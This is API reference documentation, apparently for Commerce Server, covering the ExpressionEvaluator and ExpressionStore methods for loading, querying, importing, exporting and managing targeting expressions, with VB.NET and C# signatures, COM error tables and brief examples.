[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub LoadAll()
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void LoadAll();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
&H81100022 | Invalid expression argument value, or impossible conversion
&H81100016 | Invalid clause encountered
&H8110001F | Invalid connection
&H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
&H81100015 | Term type missing, or unrecognized term type encountered
&H81100014 | Unrecognized XML element encountered
&H8110000D | No connection string specified
&H81100013 | XML DOM object parsing error
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
0x81100022 | Invalid expression argument value, or impossible conversion
0x81100016 | Invalid clause encountered
0x8110001F | Invalid connection
0x81100017 | Operator missing, unrecognized operator encountered, or type mismatch
0x81100015 | Term type missing, or unrecognized term type encountered
0x81100014 | Unrecognized XML element encountered
0x8110000D | No connection string specified
0x81100013 | XML DOM object parsing error

Remarks

Any expressions in the expression cache at the time of the call are reloaded.

If there are many expressions in the expression store, the LoadAll method may be slow. Use the LoadExpr method to load only specific expressions into the expression cache.

For every expression loaded into the expression cache, the LoadAll method increments the read-only ExprCount property by one (1).

Use the FlushAll method to remove all expressions from the expression cache.

The Connect method must be called before using the LoadAll method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.ExprCount

ExpressionEvaluator.FlushAll

ExpressionEvaluator.FlushExpr

ExpressionEvaluator.LoadExpr


ExpressionEvaluator.LoadExpr Method (PIA)

Use this method to pre-compile an expression, and if successful, load the expression into the expression cache.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub LoadExpr(
 nExprID As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void LoadExpr(
 int nExprID
);

Parameters

[Visual Basic .NET]
nExprID
A positive Integer that contains the identifier of the expression to load into the expression cache.
[C#]
nExprID
A positive int that contains the identifier of the expression to load into the expression cache.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
&H81100022 | Invalid expression argument value, or impossible conversion
&H81100016 | Invalid clause encountered
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified
&H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
&H81100015 | Term type missing, or unrecognized term type encountered
&H81100014 | Unrecognized XML element encountered
&H8110000D | No connection string specified
&H81100012 | Could not find the specified expression ID, nExprID, in the expression store
&H81100013 | XML DOM object parsing error
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
0x81100022 | Invalid expression argument value, or impossible conversion
0x81100016 | Invalid clause encountered
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified
0x81100017 | Operator missing, unrecognized operator encountered, or type mismatch
0x81100015 | Term type missing, or unrecognized term type encountered
0x81100014 | Unrecognized XML element encountered
0x8110000D | No connection string specified
0x81100012 | Could not find the specified expression ID, nExprID, in the expression store
0x81100013 | XML DOM object parsing error

Remarks

If the specified expression is already loaded in the expression cache at the time of the call, it will be reloaded.

The LoadExpr method increments the read-only ExprCount property by one (1) when it loads an expression into the expression cache.

With the exception of XML fragments, only expressions that exist in the expression cache may be evaluated. The Eval method loads an expression from the expression store that is not preloaded into the expression cache.

Use the LoadAll method to load all expressions into the expression cache. Use the FlushExpr method to remove an expression from the expression cache.

The Connect method must be called before using the LoadExpr method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.Connect

ExpressionEvaluator.ExprCount

ExpressionEvaluator.FlushAll

ExpressionEvaluator.FlushExpr

ExpressionEvaluator.LoadAll


ExpressionEvaluator.ParseXML Method (PIA)

Use this method to check whether an Extensible Markup Language (XML) fragment is a syntactically correct expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function ParseXML(
 bstrXMLExpr As String
) As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void ParseXML(
 string bstrXMLExpr
);

Parameters

[Visual Basic .NET]
bstrXMLExpr
A String that contains the XML text defining an expression.
[C#]
bstrXMLExpr
A string that contains the XML text defining an expression.

Return Values

[Visual Basic .NET] This method returns a Boolean value indicating the results of parsing the expression (bstrXMLExpr).

[C#] This method returns a bool indicating the validity of the expression.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
&H81100022 | Invalid expression argument value, or impossible conversion
&H81100016 | Invalid clause encountered
&H81100017 | Operator missing, unrecognized operator encountered, or type mismatch
&H81100015 | Term type missing, or unrecognized term type encountered
&H81100014 | Unrecognized XML element encountered
&H81100013 | XML DOM object parsing error
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x81100018 | Argument data type information missing from expression, or unrecognized argument data type encountered in expression
0x81100022 | Invalid expression argument value, or impossible conversion
0x81100016 | Invalid clause encountered
0x81100017 | Operator missing, unrecognized operator encountered, or type mismatch
0x81100015 | Term type missing, or unrecognized term type encountered
0x81100014 | Unrecognized XML element encountered
0x81100013 | XML DOM object parsing error

Remarks

Because this method checks only syntax, the expression may still be invalid even though the method succeeds.

The expression store is not used for XML fragments.

[Visual Basic .NET]

Example

' sXMLExpr is a string.
' Note that this string is not formatted properly with respect to
' quotation marks or continuation in order to increase readability.

strXMLExpr = "<CLAUSE OPER="equal">
                  <PROPERTY ID="User.firstName" TYPE="string" />
                  <IMMED-VAL TYPE="string">Jill</IMMED-VAL>
              </CLAUSE>"

' bResult is a Boolean

bResult = oExpressionEval.ParseXML(sXMLExpr)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

Expression Recordset

Expression XML Structures

ExpressionEvaluatorClass

ExpressionEvaluator.Eval

ExpressionEvaluator.EvalXML


ExpressionEvaluator Properties (PIA)

Properties

Property | Type | Description
ExprCount | Integer | Retrieves the number of expressions loaded into the expression cache. This property is read-only.


ExpressionEvaluator.ExprCount Property (PIA)

The ExprCount property is a read-only Integer that indicates the number of expressions that are correctly pre-compiled and loaded into the expression cache. Expressions that contain syntactic errors will fail to pre-compile correctly.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Property ExprCount As Integer
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int ExprCount {get;}

Property Value

The number of expressions loaded in the expression store.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib.dll)

See Also

ExpressionEvaluatorClass

ExpressionEvaluator.FlushAll

ExpressionEvaluator.FlushExpr

ExpressionEvaluator.LoadAll

ExpressionEvaluator.LoadExpr


ExpressionStore Class (PIA)

Use this object to manipulate expressions contained in an expression store. An expression store is a database of expressions along with information about the expressions. There is one expression store for each Commerce site.

Methods

Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADODB26Lib.Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.

Remarks

The connection string to a valid expression store must be stored using the Connect method before calling any other method of the ExpressionStore object.

An ExpressionStore object is internally created when the Connect method of an ExpressionEval object is invoked.

Many of the ExpressionStore methods use a Recordset object to store an expression. For more information, see Expression Recordset.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression Recordset

Expression XML Structures

ExpressionEval Object


ExpressionStore Methods (PIA)

Methods

Method | Description
Connect | Validates and stores the connection string to the specified expression store.
DeleteExpression | Deletes an expression from the expression store.
Disconnect | Sets the connection string to an empty string.
Export | Exports expressions from the expression store to a file.
GetAllExprs | Retrieves all expressions from the expression store.
GetExpression | Retrieves an expression from the expression store.
GetExprID | Translates an expression name into its corresponding expression ID.
GetExprName | Translates an expression ID into its corresponding expression name.
Import | Imports a set of expressions to the expression store from a file.
NewExpression | Creates a new ADODB26Lib.Recordset object that contains an empty expression.
Query | Queries for a list of expressions based on one or more criteria.
RenameExpression | Renames an existing expression.
SaveExpression | Saves a new or changed expression to the expression store.


ExpressionStore.Connect Method (PIA)

Use this method to store the connection string to an expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Connect(
 strConnStr As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Connect(
 string strConnStr
);

Parameters

[Visual Basic .NET]
strConnStr
A String that contains the database connection information for the expression store.
[C#]
strConnStr
A string that contains the database connection information for the expression store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110001E | Specified database does not contain a valid expression store
&H8110000D | No connection string specified
&H8110000F | Insufficient access permissions on the expression store database
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110001E | Specified database does not contain a valid expression store
0x8110000D | No connection string specified
0x8110000F | Insufficient access permissions on the expression store database

Remarks

The ExpressionStore object does not maintain a persistent ADO connection. This method stores the connection string after validating that the connection string points to an actual expression store. The Disconnect method sets the connection string to an empty string.

Each method of the ExpressionStore object creates a connection when needed, and when finished closes the connection. This relies on ADO connection pooling and provides higher availability.

The connection string for the expression store can be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the s_BizDataStoreConnectionString property under the keywords "Commerce Server Manager\Global Resources\Profiles."

The Connect method must be successfully executed before calling any other method of an externally created ExpressionStore object.

[Visual Basic .NET]

Example

' Connect using an explicit connection string .
' oExpressionStore is a valid ExpressionStore object

oExpressionStore.Connect ("Provider=SQLOLEDB;Data Source=server;" _
& "Initial Catalog=Retail_commerce;Integrated Security='SSPI'")

' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object.

sConn = oSCRO.Fields("Biz Data Service") _
.Value.Fields("s_BizDataStoreConnectionString").Value
oExpressionStore.Connect (sConn)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Disconnect

SiteConfigReadOnly Object


ExpressionStore.DeleteExpression Method (PIA)

Use this method to delete an existing expression from the expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub DeleteExpression(
 nExprID As Integer,
 flags As Integer
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void DeleteExpression(
 int nExprID,
 int flags
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that specifies the expression to be deleted.
flags
An Integer that contains the optional control flags. This parameter is currently unused and should be set to zero (0).
[C#]
nExprID
An int that specifies the expression to be deleted.
flags
An int that contains the optional control flags. This parameter is currently unused and should be set to zero (0).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified, or expression ID not found in store
&H81100010 | Delete operation failed, possibly due to other expressions having dependencies on this expression
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified, or expression ID not found in store
0x81100010 | Delete operation failed, possibly due to other expressions having dependencies on this expression
0x8110000D | No connection string specified

Remarks

If the specified expression has a non-zero reference count, meaning that other expressions depend on the specified expression, the expression is not deleted.

Call the Connect method before calling the DeleteExpression method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' 59552 is a valid expression ID retrieved by the GetExprID method.

oExpressionStore.Delete(59552, 0)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.NewExpression


ExpressionStore.Disconnect Method (PIA)

Use this method to set the connection string to the expression store to an empty string.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Disconnect()
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Disconnect();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

For more information about connecting and disconnecting to an expression store, see ExpressionStore.Connect.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class


ExpressionStore.Export Method (PIA)

Use this method to export the expressions stored in the expression store to a file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Export(
 bstrFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Export(
 string bstrFileName
);

Parameters

[Visual Basic .NET]
bstrFileName
A String that contains the name of the file used to store the expressions.
[C#]
bstrFileName
A string that contains the name of the file used to store the expressions.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified

Remarks

If the file to which you export does not exist prior to the call, the method will fail. If an absolute path is not specified, the file is placed in the \WINNT\System32 folder.

After the method successfully completes, the file contains the XML schema for the expression Recordset followed by the XML representation of each expression Recordset in the expression store.

Use the Import method to copy the expressions in a file to the expression store.

Call the Connect method before calling the Export method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

oExpressionStore.Export ("Expressions.xml")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression Recordset

Expression XML Structures

ExpressionStore Class

ExpressionStore.Import


ExpressionStore.GetAllExprs Method (PIA)

Use this method to retrieve an ADO _Recordset interface to a hierarchical Recordset object that contains all the expressions residing in the expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetAllExprs() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetAllExprs();

Return Values

[Visual Basic .NET] This method returns the _Recordset interface of a Recordset object. If successful, the Recordset object contains the expressions currently residing in the expression store. If unsuccessful, the Recordset object is set to Null.

[C#] This method returns an ADO _Recordset interface of a hierarchical Recordset object that contains all the expressions residing in the expression store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified

Remarks

The Recordset object contains one record for each expression in the expression store. For information on the format and fields of the Recordset object, see Expression Recordset.

Use the GetExpression method to retrieve a single expression from the expression store.

Call the Connect method before calling the GetAllExprs method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExpression


ExpressionStore.GetExpression Method (PIA)

Use this method to retrieve an ADO _Recordset interface to a hierarchical Recordset object that contains the specified expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetExpression(
 nExprID As Integer
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetExpression(
 int nExprID
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the unique identifier of the expression.
[C#]
nExprID
An int that contains the unique identifier of the expression.

Return Values

[Visual Basic .NET] This method returns the _Recordset interface of a Recordset object. If successful, the Recordset object contains the specified expression. If unsuccessful, the Recordset object is set to Null.

[C#] This method returns an ADO _Recordset interface to a hierarchical Recordset object that contains the expression.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified, or expression ID not found in store
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified, or expression ID not found in store
0x8110000D | No connection string specified

Remarks

To access all expressions in the connected expression store, use the GetAllExprs method.

Call the Connect method before calling the GetExpression method.

The returned _Recordset interface to a Recordset contains valid data only if the method completes successfully.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression Recordset

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetAllExprs

ExpressionStore.NewExpression


ExpressionStore.GetExprID Method (PIA)

Use this method to translate the name of an expression into its corresponding expression ID.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetExprID(
 strExprName As String
) As Integer
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public int GetExprID(
 string strExprName
);

Parameters

[Visual Basic .NET]
strExprName
A String that contains the expression name.
[C#]
strExprName
A string that contains the expression name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Integer that contains the expression ID. On failure, the expression ID is set to EXPRID_INVALID (defined as -1).

[C#] This method returns an int that contains the expression ID. On failure, the expression ID is set to EXPRID_INVALID (defined as -1).

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H81100003 | Invalid expression name, or expression name not found in store
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x81100003 | Invalid expression name, or expression name not found in store
0x8110000D | No connection string specified

Remarks

Use the GetExprName method to translate the ID of an expression into its corresponding expression name.

Call the Connect method before calling the GetExprID method.

[Visual Basic .NET]

Example

' lExpressionID is an Integer
' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

lExpressionID = oExpressionStore.GetExprID("MyExpression")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExpression

ExpressionStore.GetExprName

ExpressionStore.RenameExpression


ExpressionStore.GetExprName Method (PIA)

Use this method to translate the ID of an expression into its corresponding expression name.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Function GetExprName(
 nExprID As Integer
) As String
[C#]
public string GetExprName(
 int nExprID
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains a unique expression ID.
[C#]
nExprID
An int that contains a unique expression ID.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the name of the expression. An empty String is returned if the expression ID is an Integer but does not represent an existing expression.

[C#] This method returns a string that contains the name of the expression. On failure, the expression name is set to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified, or expression ID not found in store
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified, or expression ID not found in store
0x8110000D | No connection string specified

Remarks

[Visual Basic .NET]

Use the GetExprID method to translate the name of an expression into its corresponding expression ID.

Call the Connect method before calling the GetExprName method.

[C#]

Use the GetExprID method to translate the name of an expression into its corresponding expression ID.

Call the Connect method before calling the GetExprName method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExprID


ExpressionStore.Import Method (PIA)

Use this method to import expressions from a file into the expression store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub Import(
 bstrFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
…
public void Import(
 string bstrFileName
);

Parameters

[Visual Basic .NET]
bstrFileName
A String that contains the path and name of the file from which to import the expressions.
[C#]
bstrFileName
A string that contains the path and name of the file from which to import the expressions.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
&H8110000C | Cannot import to a non-empty store
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified
0x8110000C | Cannot import to a non-empty store

Remarks

The expression store must be empty in order to import expressions.

The import file must contain the XML schema for the expression Recordset followed by the XML representation of each expression Recordset. Expression Recordsets with invalid expression bodies are imported but will cause an error upon evaluation.

Use the Export method to copy the XML schema for the expression Recordset and all the expressions from the expression store to a file.

Call the Connect method before calling the Import method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.

oExpressionStore.Import("\SomePath\Expressions.xml")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

Expression Recordset

Expression XML Structures

ExpressionStore Class

ExpressionStore.Export


ExpressionStore.NewExpression Method (PIA)

Use this method to return an ADO _Recordset interface to a hierarchical Recordset object that contains an empty expression.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function NewExpression() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset NewExpression();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface of a Recordset object that contains an empty expression.

[C#] This method returns an ADO _Recordset interface to a hierarchical Recordset object that contains an empty expression.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified

Remarks

Populate the returned Recordset object with data describing the new expression. For information on the format and required fields of the Recordset object, see Expression Recordset.

Save the newly defined expression to the expression store using the SaveExpression method. The SaveExpression method automatically generates a new, unique expression ID and stores it with the new expression.

Call the Connect method before calling the NewExpression method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.SaveExpression


ExpressionStore.Query Method (PIA)

Use this method to retrieve a _Recordset interface to a Recordset object containing expressions that match the specified query conditions. At least one of the optional arguments must be specified.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function Query(
 Optional vName As Object,
 Optional vCategory As Object,
 Optional vProfiles As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Targeting;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset Query(
 object vName,
 object vCategory,
 object vProfiles
);

Parameters

[Visual Basic .NET]
vName
An optional String named to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vCategory
When specified, a String containing the category or System.Array of category strings to match expressions against. This is used in an SQL LIKE clause that permits wildcards.
vProfiles
When specified, a String containing the profile name or System.Array of profile names to match expressions against. Profile names must be specified without wildcards.
[C#]
vName
When specified, a string name to match expressions against. This is used in an SQL LIKE clause that permits wildcards. Set to Type.Missing in order to not specify a name to match against.
vCategory
When specified, a string containing the category or System.Array of category strings to match expressions against. This is used in an SQL LIKE clause that permits wildcards. Set to Type.Missing in order to not specify a category to match against.
vProfiles
When specified, a string containing the profile name or System.Array of profile names to match expressions against. Profile names must be specified without wildcards. Set to Type.Missing in order to not specify a profile name to match against.

Return Values

[Visual Basic .NET] This method returns the _Recordset interface of a Recordset object. If successful, the Recordset object contains the result set of expressions. If unsuccessful, the Recordset object is set to Null.

[C#] This method returns a _Recordset interface to a Recordset object that contains the result set of expressions. On failure, the pointer to the Recordset object will be set to null.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000D | No connection string specified

Remarks

If a combination of the optional parameters is specified, the retrieved expressions satisfy all constraints (implicit AND applied). For example, if name = "Robert%" and category = "General", only expressions with names starting with "Robert" and with a category of "General" will be returned.

When multiple profile names are specified, the query result includes expressions with profile requirements (dependencies) that include any of the listed profile names (implicit OR applied). Thus, if name = "Robert%" and the profiles "User" and "Context" are specified as profiles, the Query method will return all expressions with names starting with "Robert" and profiles requiring only "User", only "Context", or both "User" and "Context".

For details on the ADO Recordset object that represents the expression, see Expression Recordset.

Call the Connect method before calling the Query method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' rsExpr is a Recordset object that will contain all expressions
' with a name starting with 'Express', having a category of
' Octogenarians' and a profile dependency on 'joeuser'.

rsExpr = oExpressionStore.Query("Express%", "Octogenarians", "joeuser")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect


ExpressionStore.RenameExpression Method (PIA)

Use this method to rename an existing expression in the expression store. The new expression name must be unique or the operation will fail.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Targeting
…
Public Sub RenameExpression(
 nExprID As Integer,
 strNewName As String
)
[C#]
public void RenameExpression(
 int nExprID,
 string strNewName
);

Parameters

[Visual Basic .NET]
nExprID
An Integer that contains the expression ID.
strNewName
A String that contains the new name.
[C#]
nExprID
An int that contains the expression ID.
strNewName
A string that contains the new name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
&H8110001F | Invalid connection
&H8110000A | Invalid expression ID specified, or expression ID not found in store
&H81100003 | Invalid expression name
&H81100007 | Duplicate expression name
&H81100005 | The new name exceeds the maximum size of 30 characters
&H8110000D | No connection string specified
[C#]

The following table shows the custom COM errors that COMException can wrap.

Value | Description
0x8110001F | Invalid connection
0x8110000A | Invalid expression ID specified, or expression ID not found in store
0x81100003 | Invalid expression name
0x81100007 | Duplicate expression name
0x81100005 | The new name exceeds the maximum size of 30 characters
0x8110000D | No connection string specified

Remarks

Use the GetExprID method to translate an expression name to its corresponding expression ID.

Call the Connect method before calling the RenameExpression method.

[Visual Basic .NET]

Example

' oExpressionStore is an ExpressionStore object connected to
' a valid expression store.
' 52997 is a valid expression ID retrieved from the GetExprId method.
oExpressionStore.RenameExpression(52997, "MyNewName")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Targeting

Platforms: Windows 2000, Windows .NET Server family

Assembly: exprarchlib (in exprarchlib)

See Also

ExpressionStore Class

ExpressionStore.Connect

ExpressionStore.GetExprID


ExpressionStore.SaveExpression Method (PIA)

